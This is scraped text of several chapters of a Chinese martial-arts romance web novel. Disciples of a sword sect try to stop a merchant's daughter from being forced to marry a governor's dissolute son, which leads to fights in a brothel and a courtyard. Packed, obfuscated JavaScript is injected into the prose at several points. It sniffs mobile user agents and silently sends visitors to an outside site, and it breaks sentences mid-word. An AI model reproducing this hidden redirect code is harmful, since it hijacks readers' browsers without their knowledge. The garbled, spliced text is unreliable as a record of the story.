l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570430|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被土匪抢了去，他或许能管一管，但谁家的女儿被许给了谁家不学无术的儿子，他真的管不了，只能说此女子命不好。 师父说过，人各有命，不可过多干涉，亦不可妄图逆天改命，否则必遭反噬。至于怎么个反噬法，他尚未领教过。 可是这些话，琼芳长老也必定对林惜英说过，他又何必再次强调。 他实在不忍心拒绝她，即便拒绝也无用，他还能强行带她离开此处不成？ 罢了，就随她吧。他点了点头，道:“既然你和阿凝都这样想，那就先不走了。” “太好了师姐！”洛纤凝高兴得一蹦三尺高，“我就知道，大师兄向来偏心，师姐说什么大师兄都不会反对的！” “……洛纤凝！”柳惜朝又伸手去揪洛纤凝的耳朵，洛纤凝躲在林惜英身后，一副有恃无恐的模样:“大师兄快出去，我和师姐要睡觉了！还有你们两个，别吃了，出去吃去！” 见洛纤凝要赶人了，沐灵泽赶忙捧着手里的瓜子，拽着沐辰风溜出门去。 次日清晨，柳惜朝是被一阵敲门声给吵醒的。他穿好衣服，拉开门，看见店小二脸上挂着一副很不对劲的笑容，仰头看着他，道:“柳公子，楼下有人找您。” 柳惜朝早已将昨日行善之事抛到了九霄云外，毕竟他又不是第一次行善事了，于是一脸困惑道:“找我？” 他此前从未来过黍州，有什么人会找他？ 小二神色艳羡道:“柳公子，您真是艳福不浅啊，身边的美人一个接一个，真是羡煞我也！” “美、美人？”柳惜朝更困惑了，“什么美人？” 他身边除了林惜英，还有谁是美人？ 小二侧过身道:“柳公子，您自己下去看看就知道了，我就不打扰您的好事了。” “……什么意思？”柳惜朝挠头皱眉道。 不等他想出个所以然来，忽然，耳边传来“啪”的一声，洛纤凝如同一匹野马一般，拉着林惜英从隔壁房间冲了出来，对着柳惜朝道:“谁？谁找大师兄？男的女的？” 柳惜朝:“……” 再去看另一边，沐灵泽和沐辰风“吱呀”一声打开门，探头探脑地朝他望了过来。 沐灵泽:“我猜是女的。” 沐辰风:“我猜也是女的。” “……” 柳惜朝翻了个白眼，心道这房间也太不隔音了。 他不置一词，抬脚往楼梯处走去，远远地就看见一个窈窕的背影，身旁立着一名丫鬟模样的少女，那少女看起来十分眼熟。 “姑娘，柳公子来了。”见柳惜朝从楼梯上迈了下来，少女仿佛看到了金元宝，兴奋地对那背影说道。 那背影转过身来，冲柳惜朝微微一福，才不疾不徐地开口道:“柳公子，我来归还你的斗篷。冒昧来访，打扰了，实在是因为昨日听闻你们马上就要离开沧州，所以才……还望公子见谅。” 柳惜朝盯着面前貌美如花的少女，上一瞬还觉得她很是眼熟，像是买哪儿见过，下一瞬看到她怀里抱着的白色斗篷，立时便想了起来。 这少女是昨日傍晚于河边轻生的那位！ 生得如此貌美，他却未记住她的模样，真是惭愧。 与此同时，在他身后，洛纤凝和沐辰风眼睛瞪得一个比一个圆，嘴巴张得一个比一个大。原来他们也认出了钟思遥，只不过昨日钟思遥浑身都是水，虽然貌美，但却形容狼狈，面色也十分惨白，不着任何粉黛。而今日显然是经过了一番打扮，略施了些粉黛，放眼一看，生得那叫一个楚楚动人，我见犹怜。 洛纤凝和沐辰风分别倚在楼梯两侧，见此美人，不禁齐刷刷地朝后一仰，甚幸沐灵泽就站在二人身后，及时将二人扶稳，十二分地诧异道:“喂，你们两个怎么回事？至于这么夸张么？我们不是昨天才见过她么？” 洛纤凝道:“我记得昨天钟姐姐还不长这样，美是美，但还没美到这种地步……” 沐辰风道:“那是因为她昨日落了水，鬓发散乱，形容狼狈，以至于……” 一转头看见林惜英正抱着胳膊，居高临下地盯着他和洛纤凝看，沐辰风忙不迭竖起三根手指，表忠心道:“林师姐，你放心，我心里只有你一个，无论她长得再美，在我心里，都不及你的万分之一！” 林惜英懒得搭理他。她站在三人的斜后方，语气漠然道:“你们三个能不能把路让开，没看见有人要下楼么？” 沐灵泽朝后一看，果然见一位大哥站在他身后，虽然不太着急的样子。他连忙点头致歉道:“不好意思啊这位大哥。”然后揪着洛纤凝和沐辰风的衣角快步下了楼。 林惜英跟在三人身后，不紧不慢地迈下了楼梯。 19. 人间7 “原来是钟姑娘……” “不打扰！”柳惜朝话还没说完，洛纤凝就急冲冲地凑了过来，对钟思遥说道，“钟姐姐，其实你不必这么着急的，因为我们暂时不走了，我们……” “当真？”听见洛纤凝说不走了，钟思遥瞬间喜出望外，但旋即心又沉了下来，心道他们走不走与她有何关系，她如今已是订了婚的人，不日便要嫁给一个自己不喜欢以及瞧不上的人。 昨日回府后，父亲劈头盖脸地将她骂了一顿，说什么她若是出了什么三长两短，他如何向城守大人交代？届时整个钟家都要被她连累！ “女儿啊，你就算不为为父考虑，也要为耀祖考虑吧？他可是你亲弟弟！他才十二岁！你死了倒是一了百了了，那他呢？你忍心看他将来被你连累么？你忘了你娘病逝前怎么交代的你么？！” 她哭着对父亲说:“可是爹，我不喜欢那个四公子，他天天逛青楼，你又不是不知道……” “喜不喜欢有什么要紧的？这世上有几个人能和自己真正喜欢的人在一起？我和你娘当初不也是父母之命，媒妁之言？再说四公子他本性不坏，他只不过是风流了那么一点！爹是过来人，爹告诉你，男人的真心最不要紧，你嫁给他可是要做正妻的，将来享不尽的荣华富贵，连带着我们钟家的生意也会做大做强，又何必管他在外面有多风流，你只当看不见不就好了！” 父亲的话言犹在耳，令她悲痛不已。她无法容忍自己日后要和一个不爱甚至厌恶之人朝夕相处，每次一看见窦季延那张脸，她就想作呕。再看面前这男子，虽算不得十分好看，但八分好看还是有的。两相对比，愈发衬得那窦季延丑陋不堪。虽然那窦季延也并非十分丑陋，不过是普通人的样貌罢了，但因他常年宿在青楼，且不务正业，在她心里，他早已是十二分的丑陋！ 她原本是要招赘的，样貌看得过去便可，最重要的人品端正，洁身自好，可没成想这一切全都被窦季延那厮给毁了，真是气煞她也！ “千真万确，那还有假！” 洛纤凝的声音将她拉回了现实，钟思遥刚想说些什么，忽觉喉咙发痛，偏过头就是一阵咳嗽。 丹若见状，连忙劝道:“小姐，外面风大，你昨日又受了寒，我们还是快些回去吧，莫要让老爷担心。” 洛纤凝盯着咳嗽不已的钟思遥，一时竟看呆了。这弱不禁风的模样，看得她一个女人都心荡神怡，更别提男人了。怪不得那个四公子要娶她，她要是个男人，她也想娶。 一时间几个人都愣愣地盯着钟思遥，尤其是沐辰风，心中更是和洛纤凝一个想法。唯有林惜英，行至一旁的桌前，倒了一杯热茶，对钟思遥道:“钟姑娘，先坐吧，喝口热茶再回去也不迟。” “……对对对！”洛纤凝急忙回过神来，并接过钟思遥怀中的斗篷扔给了柳惜朝，“钟姐姐，我们坐下慢慢说吧，站在这儿干嘛呀？” 六个人围着一张桌子坐了下来，洛纤凝自告奋勇向钟思遥介绍起了他们五个人的姓名，最后才介绍自己道:“我叫洛纤凝，钟姐姐，你和我师姐还有大师兄一样，叫我阿凝就好了！” 钟思遥微微一笑，点头应了，随后举起手中的茶杯，看向沐灵泽:“原来是沐公子，感谢沐公子昨日涉险救了小女子，小女子以茶代酒，敬沐公子一杯。” 沐灵泽不好意思地摸了摸自己的后脑勺，低下头，红着脸道:“没什么的，我自幼水性就好，算不得涉险。”说完这话，他抬头去看钟思遥，只见她早已将杯中的茶一饮而尽，一双眼睛笔直地落在了柳惜朝的脸上，一副情意深深的模样，哪里还顾得上看他。 他忍不住在心中腹诽道:“虽然昨天洛纤凝偷偷对我说过，钟姑娘好像看上了大师兄，但是昨天救她的人难道不是我么？我这模样也没比大师兄差多少呀，她怎么没看上我？” 莫非这就是传说中的一见钟情？就像他初次见到洛纤凝一样？ 他愤愤地喝了口茶，听钟思遥道:“方才听洛姑娘说，你们暂时不走了，这是为何？” 柳惜朝道:“这……钟姑娘，还是问我这两位师妹吧，她们执意不走，我这个当大师兄的，自然也不能抛下她们一走了之。” 见钟思遥的目光望了过来，洛纤凝喜滋滋道:“钟姐姐，我们是为了你！” “为了我？”钟思遥露出了不解的神情，“我与洛姑娘还有林姑娘萍水相逢，二位此话怎讲？” 洛纤凝道:“钟姐姐，你有所不知，我这人啊，生平最讨厌的事就是一朵鲜花插在牛粪上！更何况这坨牛粪又脏又臭！所以钟姐姐，你放心，有我还有我师姐在，绝对不会让你嫁给那什么四公子！” 钟思遥被洛纤凝一番话说得愣住了，紧接着，又听柳惜朝吹冷风道:“牛皮不要吹得太早，小心最后空欢喜一场。” 洛纤凝:“……” 她咬了咬牙，一掌拍在桌上，道:“钟姐姐，你等着瞧吧！我以长绝山的名声向你发誓，这事就交给我了！” 钟思遥被洛纤凝这一掌给惊到了，一时间心中五味杂陈，既喜又忧。喜的是她与洛纤凝林惜英二人不过一面之缘，她们竟待她至此。忧的是，那城守大人并非好惹之人，只怕他们最终不仅无功而返，反招来灾祸。 “那个四公子要是敢强娶你，我就打得他满地找……” “阿凝！”林惜英突然出声，打断洛纤凝的话，旋即正色道:“敢问钟姑娘，那城守大人是个什么样的人？他可知你并不愿嫁给他的儿子？” 钟思遥低下头道:“他当然知道了，可那又怎样？他是城守，是整个黍州最大的官，麾下兵士如云，我们钟家一介商贾，怎敢违逆朝廷命官。” “那他此刻人在何处？可在府中？” 钟思遥摇头:“听说前些时日城外出现了一伙盗匪，专门劫掠过路之人，城守大人此刻忙于剿匪，只怕一时半会儿是回不来的。”她顿了顿，又道:“其实，城守大人他是个好官，只不过过于溺爱他的儿子。” 林惜英道:“此话怎讲？” 钟思遥抬眼看她，缓缓而道:“你们有所不知，这城守大人，娶过三位夫人，但都是刚娶回家没几年就病逝了，有过四个孩子，前三个都夭折了，就剩下这最小的一个……” 听到此处，五个人皆是一怔。洛纤凝讶然道:“那这城守大人克妻克子啊！” 三个妻子，三个孩子，加起来六条人命，这人也能克了吧？ 沐灵泽也道:“对啊，我见过克妻克子的，没见过这么能……” 话未说完，就被柳惜朝喝断:“你们都小点声。”又看向钟思遥:“若是真如钟姑娘所说，那这城守大人定是极为溺爱这个四公子了。” 钟思遥垂眸道:“不错，城守大人一向清正廉明，刚正不阿，可唯独于那四公子，恨不得将天上的月亮都摘给他。一个月前，我与姐妹一起去逛胭脂铺，出来时正巧被那四公子瞧见，他当即便跑回城守府，央求城守大人来我钟府提亲。我爹想都没想就答应了这门婚事，只因他觉得这是天上掉馅饼的好事，至于我是什么想法，我愿不愿意，他才不在乎。” “你爹他怎么这样？！”洛纤凝听了钟思遥这番诉苦，暴脾气又窜了上来，“他是你亲爹么？谁家亲爹这么迫不及待地想卖女儿啊？！他难道不知道那个四公子整天睡在青楼啊？！” 这一番话说得钟思遥不禁落下泪来，她想，但凡有一点办法，谁愿意嫁给一个整日流连于青楼的人。那个四公子，小小年纪不学好，反倒学了一身的坏毛病，而他的父亲也不加以规劝，只一味地纵容，将来即便她嫁入了城守府，只怕也不得安宁。 这些年来，她时常帮助父亲经营家中的生意，她自己有钱，又何苦向他人去寻求富贵。可在父亲看来，女儿家终究是要嫁人的，家里的生意终归是要交给儿子的。有时她甚至邪恶的想，她要是没有弟弟就好了，那家中的一切都是她的！ 洛纤凝被钟思遥这副形容给吓了一跳，忙安慰道:“钟姐姐，你别哭啊，我都说了我们肯定会帮你的……” 钟思遥接过丫鬟递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597068|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的手帕，拭去眼泪，强颜欢笑道:“纵然你们想帮我，我又怎好连累你们。我也真是的，同你们说这些做什么？东西已经归还了，我就不打扰你们了，告辞。” “哎，钟姐姐……”无论洛纤凝怎样挽留，钟思遥终是未作停留，起身便消失在了客栈。 望着钟思遥弱柳扶风的背影，洛纤凝倚在门边叹道:“我昨天怎么没发现，这钟姐姐竟然长得这么好看。大师兄，依我看，她八成是瞧上你了，不如你就留下来从了她……” “说！再说我拧断你的耳朵！”听见洛纤凝又开始说胡话，柳惜朝揪住她的耳朵就往上提。 洛纤凝吃痛，向林惜英望去，哪知林惜英竟三两步迈上了楼梯，回屋洗脸去了。她只好求饶道:“哎呀，大师兄，我随口一说罢了，不要这么小气嘛，我错了还不行嘛。” “随口一说也不行！再有下次，以后就不带你下山了！”说罢转身朝楼上走去。 “……哼。”洛纤凝摸着自己受伤的耳朵，哼哼唧唧了一阵，余光瞥见沐辰风捂着嘴偷笑她，她跳到他面前，小嘴一张冲他吼道:“笑什么笑？！跟只老母鸡似的！！” 方才一句话都不说，就知道盯着钟思遥看，眼睛都快长在钟思遥身上了，人家姑娘活生生被他盯跑了，他还好意思笑！ 沐辰风:“……洛纤凝！你才是老母鸡！我就算是只鸡，那也是只年轻英俊的公鸡！！” 洛纤凝未搭理他，打算回屋洗把脸，转身时又瞥见沐灵泽也在笑，也不知道在笑她还是笑沐辰风。她风也似的从他身边掠过，并掠走了他手心里的一大把瓜子，扔下一句:“磕磕磕，就知道磕！眼睛都跟瓜子一样小了，还磕！” 沐灵泽:“……” 沐辰风:“噗哈哈哈……” 五个人收拾完毕，商量了一阵，决定去城守府碰碰运气。 看门的是两名官兵模样的人，见几人鬼鬼祟祟地在城守府外踱来踱去，其中一名上前喝道:“喂！你们几个！干什么的？！知道这里是什么地方么？鬼鬼祟祟地乱晃什么呢？！” 洛纤凝嘿嘿一笑，上前两步道:“这位大哥，我们想找一下贵府的四公子。” 士兵皱眉道:“找我家公子？你们什么人？我家公子岂是你想见就能见的？！赶紧走开！” “我们找他真的有事！” “不行！” 就在这时，沐灵泽从洛纤凝身后走上前来，将一块碎银子塞到士兵手里，赔笑道:“这位大哥，帮个忙嘛，我们找四公子的确有要紧事，你只要告诉我们，四公子他在不在府上就行。” 士兵掂量着手里的碎银子，踌躇片刻，道:“行吧，看在你们几个还算懂事的份上，我就告诉你们吧。我家公子啊，他不在府上。” “那他在哪儿？”洛纤凝问道。 “还能在哪儿？”士兵笑道，“当然是在春宵楼快活呢！我家公子自昨夜到现在，压根就没回来过，除了春宵楼，我还真想不到他能去哪儿。哎，我跟你们说这些干嘛？赶紧走吧你们！” 洛纤凝:“……” 她就知道。 这个贱人！钟思遥都跳河了，他倒好，竟然还在青楼里快活！ 五个人又是一阵商议，决定由洛纤凝和林惜英二人女扮男装去青楼找人，毕竟青楼可比城守府好进多了，而且鬼知道那个四公子到底什么时候才能从青楼里出来。 原本沐灵泽和沐辰风想陪二人一块儿去，谁料洛纤凝道:“你们去干嘛？看姑娘啊？！” 二人立马闭上了嘴。 紧接着，柳惜朝又开始犹豫:“惜英，这样是不是不太好？毕竟按长绝山门规，我们是不能踏足烟花之地的。” 洛纤凝反驳道:“大师兄，你老是这么一板一眼做什么？又不需要你进去。再说了，你不说我不说师姐也不说，有谁知道我们去过这种地方？而且我们是去办正事的，又不是去花天酒地的。大师兄，听我的，你就在客栈里等我和师姐回来吧。” 柳惜朝:“……” 20. 人间8 两个人去成衣铺换了身男装，并把头发梳成男子样式，脸也涂黑，捣鼓了大半天，终于于夜幕降临时分来到了春宵楼。 春宵楼。 门外，大红灯笼高高挂起，门内，胭脂香混着丝竹声扑面而来，男人餍足的大笑声，女人的虚与委蛇与叹息声……一切的一切，都让刚进门的两个人觉得浑身不适。 洛纤凝眯着眼睛，尽量不去看那些少儿不宜的画面，林惜英则握紧了手中的绝尘剑，冷眼看着场内的每一个人。 老鸨周旋于其中，安抚着那些吵着闹着要见花魁的男子，猛然间一回首，瞥见大门外走进一名周身泛着冷光的俊俏公子，生得那叫一个雌雄莫辨，竟将在场所有男子和女子都比了下去。她呆了一下，随即像是见到了金疙瘩似的，立刻抛下周围的男子，风一般地朝那俊俏小生奔去。 洛纤凝大步迈上前去，正欲询问那四公子的踪影，哪知才吐出一个字，就被那老鸨伸手掀去了一边。 老鸨捏着帕子径直走向林惜英，热情地招呼道:“哎哟喂！这位公子生得好生俊俏好生贵气啊！一看就是有钱……呸！有缘人！公子，我们这儿什么姑娘都有，娇俏的，妩媚的，温柔可人的，善解人意的，什么样的都有，不知公子您喜欢哪样的？” “……喂！”洛纤凝不满地折了回来，贴在老鸨耳边吼道，“你这人怎么回事？！我这么大一个人，你是看不见啊？！” 老鸨被洛纤凝的一声“喂”吼得险些一个趔趄，她转头去看洛纤凝，按住眼角，眯着眼睛道:“哦哟，不好意思啊这位公子，妈妈我年纪大了，难免眼神不太好，您多担待。不知公子您喜欢什么样的……” 洛纤凝瞪她一眼，道:“我们不是来寻开心的，我们是来找人的。” “找人？”老鸨脸上的笑容顿时减了一半，冷着半张脸道:“找什么人？” “城守家的四公子！” “您二位，认识四公子？”老鸨皱眉看着二人，心道此前怎么从未见过这二人，而且听口音，似乎也不是黍州人。 洛纤凝没好气道:“你管我们认不认识！你只管告诉我，他在哪个房间快活呢？”说罢学着沐灵泽的样子，摸出五枚铜钱递给老鸨，“呶，赏你的。” 老鸨掂量着手心里那五枚铜钱，鄙夷之色溢于言表:“想找四公子，那您这点钱可远远不够。” 这地方果然花销不菲，洛纤凝只好又摸出了两枚，扔进了老鸨的手心。 老鸨摇头:“不够。” 还不够？洛纤凝只好又摸出三枚。 老鸨继续摇头:“不够。” “还不够？！”洛纤凝咋舌道，“那你到底要多少？！” 老鸨伸出一根手指，指了指洛纤凝手里的荷包，眼睛却看向了别处，一副做贼心虚的模样，偏偏她指钱的动作又很是优雅，不知道的还以为她不是在要钱，而是让洛纤凝帮她擦擦她金贵的手指。 洛纤凝登时眼睛瞪得像铜铃:“什么？！你都要？！我去你爹的！你给我拿来！”说话间已伸出手，将老鸨手中的几枚铜钱全都抓了回来，重新塞回了荷包，扔给了林惜英，又抓住林惜英的胳膊大步往前走去，“找个人而已，竟好意思跟我要这么多钱！别理她师姐，我们直接上楼去！” “……嘿！”头一次遇到这样的客人，老鸨眉心一拧又一拧，目光紧紧跟随着欲上楼去的二人，怒道:“你竟敢从我手上抢钱？还敢掀我？来人呐！有人砸场子了！都给我上啊！！” 话音落，一群身着黑色短打，手持棍棒的年轻男子便已冲了出来，将洛纤凝与林惜英团团围住，抄起手中的棍子就朝二人砸了过去。 老鸨得意地笑道:“我说你们两个怎么长得女里女气的，原来真是个女人！不好好在家里待着，跑来我春宵楼撒野，我看你们两个真是吃了熊心豹……子……胆。”正说着，就看见洛纤凝抬起一脚，将其中一人踹到了柱子上，又见林惜英长剑一扫，一道蓝光瞬间将她那群没用的手下扫得四仰八叉，连声叫痛。 一时间，桌子椅子都被劈飞了，顾客纷纷逃离，姑娘们也躲去了院子里，偌大的春宵楼，霎时间人去楼空。 老鸨一边朝后退，一边结结巴巴道:“你你你……你们两个给我等着，报官！我要去报官！！” 洛纤凝露出一丝坏笑，长腿一迈，呲溜一声挡在老鸨身前，吓唬她道:“别呀，报什么官呀，妈妈可知，我们乃是长绝山剑仙之徒，寻常官兵是抓不到我们的。” 老鸨瞬间面如土色，吞吞吐吐道:“你……你们想如何？” 洛纤凝将凌云剑扛在肩上，笑嘻嘻道:“我们呀……” “何人胆敢在此撒野？！”一语未了，忽听楼上一人粗声喝道。 洛纤凝和林惜英抬眼望去，只见此人正是王不俗！在他身后，沙不死正扛刀而立，吹胡子瞪眼地瞧着她们，小小的眼睛似乎要瞪出眼眶来。 “……噗！师姐，你看他们两个……”洛纤凝实在没忍住笑出了声，等她笑完，老鸨已连滚带爬地跑到了他们身后，指着她和林惜英道:“就是她们两个，说要找四公子，我不让她们进来，她们就砸我场子！二位大哥，你们可一定要替我好好教训她们一顿！” 王不俗和沙不死此时也已认出了洛纤凝和林惜英，提着大刀来到了二人面前，大声道:“又是你们！” 洛纤凝抱着胳膊道:“我还没问怎么又是你们两个呢？该不会那个四公子就是你家公子吧？” “没错！”王不俗死死地盯着洛纤凝，“你们找我家公子何事？！” 这可真是冤家路窄，没想到这个四公子竟然是窦季延这厮！ 洛纤凝刚想问问这二人，上次比试究竟谁赢了，就看见窦季延那厮伸着懒腰摇着扇子来到了楼梯上方，一副贱兮兮的模样，嘴里咕哝着:“哪个不长眼的扰了爷的好事……冷姑娘？！” “冷姑娘？”洛纤凝顺着窦季延的视线望去，自然而然地将目光落在了林惜英的身上。 老鸨见此情景，上前一步，瑟瑟发抖道:“四公子，您……认识这二位？” “废话！”窦季延斥道，“你给本公子闪一边去！”说罢脚底生风一般溜下楼梯，朝林惜英奔去，顺便理了理自己不整的衣衫，然后嬉皮笑脸道:“冷姑娘，你不知道，自那日一别，本公子念你念了好几日，好几日都未曾入眠！却不曾想，今日竟在这里碰到你！俗话说得好，有缘千里来相会，你我二人，当真缘分匪浅啊！话说冷姑娘，你为何会出现在青楼这种地方？还打扮成这副样子？莫非……你真的喜欢女人？！” 林惜英:“……” “你管我师姐喜欢什么！”洛纤凝挪动脚步挡在林惜英面前，声音洪亮道:“我问你，斗鸡眼，你是不是要娶钟家的姑娘，钟思遥？！” “你、你怎么知道？”窦季延诧异道，“还有，你说谁斗鸡眼呢？！有本事你再说一遍！！” 洛纤凝懒得搭理这厮，又是嫌弃又是厌恶地瞪着他，道:“说！到底怎样，你才能不娶她？！” “……我娶不娶她，关你什么事？！”窦季延眉头一拧，一脸的活见鬼。 这人真是奇怪，他窦季延要娶谁，何时轮到她来置喙！管天管地还管别人娶谁嫁谁！ “关我什么事？！”洛纤凝气得一把揪住窦季延的衣领，眼中的怒意像一把把小刀扎向面前那张猥琐至极的面孔，“你知不知道，钟姐姐她压根就不喜欢你？！她都被你逼得跳河了！她差点就死了！你倒好，竟然还在这里逍遥快活……” “大胆！”见自家公子被人以如此无礼的动作相待，王不俗和沙不死连忙上前喝道，“还不快松开我家公子！否则休怪我兄弟二人刀下无情！！” 若不是念在窦季延对冷姑娘有意的份上，他二人此刻早已一刀劈了过去。这几日，窦季延张口闭口都是林惜英，尽管怀里抱着别的女人，嘴里也依旧“冷姑娘冷姑娘”地叫个不停，什么钟姑娘王姑娘，早被他忘去了一边。 听见钟思遥跳河，窦季延起先愣了一下，但旋即就恢复了以往的轻佻模样。他伸手推开洛纤凝，道:“那这么说，她还没有死喽？既然没有死，那就乖乖地等着本公子将她抬回家吧。” “你！”洛纤凝怒道，想扇他两个大耳刮子，但又怕惹毛了他，他更不愿退婚了。 这时，林惜英道:“那敢问四公子，如何才能退婚？” “退婚啊。”窦季延摩挲着手里的扇子，将脸凑到林惜英面前，目光贪婪地上下打量了起来，“本公子可以不娶钟思遥，但前提是，冷姑娘你，愿意代替钟思遥嫁给本公子。本公子方才仔细想了想，只要冷姑娘你愿意嫁来我城守府，本公子不在乎你之前喜欢过女人还是男人，并且可以许你正妻之……” 话未说完，便听“啪”的一声，脸颊上传来一阵剧痛，竟是挨了一个响亮的耳光！紧接着就是洛纤凝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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由于地方狭小，王、沙二人攻势又太猛，原本那些还好端端的桌子椅子，此刻全都被劈成了两截，酒杯、碟子等碎落一地，酒水和点心在半空中划出一道又一道漂亮的弧线，引得老鸨一边找地方躲，一边痛哭不已:“哎呦！我的桌子，我的椅子，我的杯子，我的碟子，我的好酒，我的点心……两位大哥！两位少侠！你们要打出去打好不好啦？别殃及无辜啊……” 话未说完，就被一个横空飞来的酒杯砸中了脑门，白眼一翻，仰面一倒，不省人事。 凌云剑与王不俗的刀碰撞在一起，发出一阵又一阵的剧烈响声，洛纤凝故技重施道:“好刀法！” “那当然！”王不俗大刀一挥，格开洛纤凝袭来的剑，眉毛和眼睛里处处透着得意二字，“小姑娘，是不是又想激我？我告诉你，我不会再上你的当了！” “是么？”洛纤凝狡黠一笑，提高声音道:“那敢问上次比试，你二人谁赢了？！” 王不俗想都未想便道:“废话！那当然是我赢了！” “你放屁！明明是我赢了！”沙不死一听这话，也不和林惜英打了，冲上前来就欲和王不俗理论一番。 林惜英:“……” 她默默地收回了绝尘剑，冲洛纤凝使了个眼色。洛纤凝会意，姐妹二人携手离去，听见身后传来王、沙二人互不相让的理论声，和窦季延暴跳如雷的声音:“王不俗沙不死！我……我踹死你们两个！你们这两个没用的废物！蠢货！！” 长街尽头，洛纤凝抱着凌云剑，笑得上气不接下气，笑完后又抱着林惜英的胳膊，哭唧唧道:“怎么办呀师姐？我好像把事情给搞砸了，呜呜呜……” 林惜英:“……把好像去掉。” 洛纤凝:“……” 她站直了身子，擦了两把并不存在的眼泪，吸了两下并不存在的鼻涕，而后故作镇静道:“无妨，留得青山在，不怕没柴烧。” “只怕是留得青山在，已经没柴烧。”林惜英泼她冷水道。 洛纤凝骤然一惊，朝后一跳，道:“师姐，你这话什么意思？你可不要告诉我，这事儿你不管了！” 林惜英斜她一眼，道:“先回客栈吧。”说罢深吸一口气，拔腿欲走，却死活迈不开步子。 洛纤凝不知何时已经跌在了地上，拖着林惜英的一条腿，仰起头，可怜巴巴地望着她:“那……师姐，待会儿大师兄打我的时候，你可一定要保护好我。”一边说，一边眨眨眼。 林惜英:“……你还知道他会打你。走，回去再说。” “那你保不保护我嘛？” “……我什么时候没有保护过你？” “那就好！”洛纤凝一骨碌跳了起来，揪住林惜英的衣角，飞奔向前，“走吧走吧，师姐，我们回客栈，大家一起想办法！” 林惜英无奈地摇了摇头，随即快步跟上洛纤凝的步伐。 21. 人间9 得知洛纤凝将窦季延暴打了一顿，柳惜朝气得无以复加，抄起涤恶剑的剑鞘就朝洛纤凝打了过去。 洛纤凝“哇”的大叫了一声，躲在林惜英的身后，瑟瑟发抖且理直气壮道:“我又不是故意的，都怪那个斗鸡眼，先前故意撞我就算了，还骂我们长绝山是破山，骂我们长绝山就算了，还觊觎师姐，觊觎师姐就算了，还逼得钟姐姐跳了河，我打他一顿，都算轻的！” “不知悔改！还敢狡辩！”柳惜朝怒喝道，低头看向脚边的人，“沐灵泽！你松手！再不松手，我就把你踹到窗户外面！” 沐灵泽抱着柳惜朝的大腿，坚决摇头:“不，大师兄，你消消气嘛，已经这样了，你再打她也没用啊。” “就是就是，”沐辰风一边悠哉悠哉地啃着苹果，一边漫不经心为柳惜朝扇着扇子，“大师兄，莫气莫气，生气对身体不好。” 柳惜朝:“……” 真是气死他了！ “松手！我不打了！” 沐灵泽这才敢松手。 柳惜朝狠狠地坐在了凳子上，发火道:“还帮什么忙？做什么好事？依我看，我们还是连夜就离开这里吧，省得那城守大人回来后，满城通缉我们。” 洛纤凝道:“那我们走了钟姑娘怎么办？” “你还知道关心人家钟姑娘？！”柳惜朝剜她一眼，一掌拍在了桌子上，“早就跟你说让你别管这事，你非要管！这下好了，少不得要连累钟姑娘还有整个钟家！” 洛纤凝低下头不吭声了。 林惜英想了想，道:“大师兄，是我执意要管此事，与阿凝无关。况且事已至此，我们还是赶紧想想办法让那个斗鸡眼……咳，是窦季延，让他别去为难钟姑娘，还有钟家。” 柳惜朝偏过头望向窗外:“还能有什么办法？如今只能我们一起去钟家，将此事揽下来了。”又看向沐灵泽和沐辰风，“两位沐师弟与此事无关，就不一起去了。” “那怎么行？！”沐灵泽跳脚道，“好歹我们师兄弟师姐弟一场，怎么能关键时刻就抛下你们呢！再说了，不就是去赔个不是嘛，又不是上刀山下火海，有什么去不得的！” 沐辰风咬着苹果，使劲点头:“嗯，阿泽说得对，反正打不过还能跑嘛。” 柳惜朝甚是感动地看了兄弟二人一眼，起身道:“好，既然如此，那我们就出发吧！” 五个人上了街，一路打听，朝钟家而去，待到了钟府门外，果然见门口守着两名官兵，院内灯火通明，隐隐有嘈杂声传了出来。 柳惜朝走上前去，欲向那两名官兵说明来意，熟料洛纤凝二话不说，越过他们就往进闯。 院内，窦季延正在逼问钟思遥洛纤凝等人的去向，钟思遥死活不说一个字。钟父跺脚道:“女儿啊，你就告诉四公子吧！那伙人的死活和咱们有什么关系？你不说？那好，为父替你说，四公子，那伙人现在就住在……” 一语未了，大门便被人一脚踹开，洛纤凝大声道:“窦季延！是我打的你！有什么事你冲我来！” 院内一阵寂静。 看清来人后，窦季延眼珠子都瞪直了，又惊又喜又怒道:“好啊！你竟然还敢回来！你们还愣着干什么？！都给我上！抓住她！” 话音落，一群官兵抄起长枪就朝洛纤凝刺去。林惜英等人此时也已闯了进来，见此情形，忙拔出长剑招呼了起来。 院内霎时间打斗声一片，柳惜朝一边招架，一边道:“窦公子！我们此次前，是来向你赔不是的，何必如此动刀动枪？！” “赔不是？”窦季延冷笑，“赔不是有什么用？！敢来寻本公子的晦气，还敢打本公子，我看你们是不想活了！喂！你们没吃饭啊？！都给本公子使点劲！把那个疯女人给本公子抓起来！抓活的！本公子要亲手抽她一百个大嘴巴子！！” 不过一盏茶的工夫，院内数十名官兵皆已被五个人放倒在地，腰酸背痛地躺在地上，不敢再上前，唯有王不俗和沙不死这两名不服输的武林高手依旧在顽强抵抗，即便被打倒了五六次，也照样能生龙活虎地爬起来，继续扛起大刀大杀四方。 沐灵泽忍不住叹道:“大哥，你也太能打了吧？我的手都被你打抽筋了。” 沙不死咬牙道:“再来！我就不信打不过你们这两个毛头小子！” 沐辰风:“不是吧？还来？！双拳难敌四手，这不是很正常么？你到底在倔强个什么劲啊大哥？！” 